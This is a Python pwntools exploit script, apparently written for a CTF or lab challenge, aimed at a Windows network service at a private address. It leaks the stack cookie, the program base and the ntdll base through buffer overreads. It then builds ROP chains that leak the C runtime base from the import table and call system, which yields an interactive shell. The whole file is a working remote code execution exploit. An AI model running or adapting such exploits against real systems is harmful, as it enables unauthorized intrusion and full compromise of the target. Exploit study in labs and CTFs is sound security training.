from pwn import *
#context.log_level = 'debug'

p = remote('192.168.1.10','10000')

#pause()

p.recvuntil("input:")
p.send("A"*0xfc + "@@@@")
p.recvuntil("@@@@")
cookie = u64(p.recv(6) + b"\x00\x00")
print("cookie: %#x" % cookie)

p.recvuntil("input:")
p.send("B"*(0x118-4) + "@@@@")
p.recvuntil("@@@@")
leak_code = u64(p.recv(6) + b"\x00\x00")
print("leak_code : %#x" % leak_code) 
code_base = leak_code - 0x12f4

p.recvuntil("input:")
p.send(b'a'*0x100 + p64(cookie) + p64(0) + p64(0) + p64(code_base+0x1000))

p.recvuntil("input:")
p.send("A"*0xfc + "@@@@")
p.recvuntil("@@@@")
cookie = u64(p.recv(6) + b"\x00\x00")
print("cookie: %#x" % cookie)

p.recvuntil("input:")
p.send("C"*(0x180-4) + "@@@@")
p.recvuntil("@@@@")
leak_ntdll = u64(p.recv(6) + b"\x00\x00")
print("leak_ntdll: %#x" % leak_ntdll)
ntdll_base = leak_ntdll - 0x6d721 # ntdll 
print("ntdll_base: %#x" % ntdll_base)

pop_rax = p64(ntdll_base + 0x6123) # 0x0000000180006123: pop rax; ret; 
pop_rcx = p64(ntdll_base + 0x8f79b) # 0x000000018008f79b: pop rcx; ret; 
iat_puts = p64(code_base + 0x2180)
iat_read = p64(code_base + 0x2178)
mov_rax_rax = p64(ntdll_base + 0xb23a5) #0x00000001800b23a5: mov rax, qword ptr [rax]; ret; 
call_rax = p64(ntdll_base + 0xA1FFD) #0x00000001800A1FFD: call rax; nop; add rsp, 0x28; ret; 
pop_rdx_r11 = p64(ntdll_base + 0x8d157) # 0x000000018008d157: pop rdx; pop r11; ret;  
pop_r8 = p64(ntdll_base + 0x4dddf) # 0x000000018004dddf: pop r8; ret; 

main = code_base + 0x1000
rop = pop_rcx + iat_puts + pop_rax + iat_puts + mov_rax_rax + call_rax

p.send(b"A"*0xf8 + b'@@@@@@@@' + p64(cookie) + p64(0) + p64(0) + rop + b"B"*0x28 + p64(main))

p.recvuntil('@@@@@@@@')
leak_putbase = u64(p.recvuntil('input:')[-8-6:-8].ljust(8,b'\x00'))
print("leak_putbase: %#x" % leak_putbase) 

utbase = leak_putbase - 0x807f0 # puts_off
system = utbase + 0xab5a0 # system_off
cmd = utbase + 0xcd650
print("utbase: %#x" % utbase)
print("system: %#x" % system) 

#pause()

#begin get shell
p.send(b'a'*0xf8+b'@@@@@@@@')
p.recvuntil('@@@@@@@@')
cookie = u64(p.recvn(6).ljust(8,b'\x00'))

p.recvuntil('input:')
p.send(b'b'*0x400)

p.recvuntil('input:')
rop2 = b'c'*0x100 + p64(cookie) + b'd'*0x10 + pop_rcx + p64(cmd) + p64(system)
p.send(rop2)
p.interactive()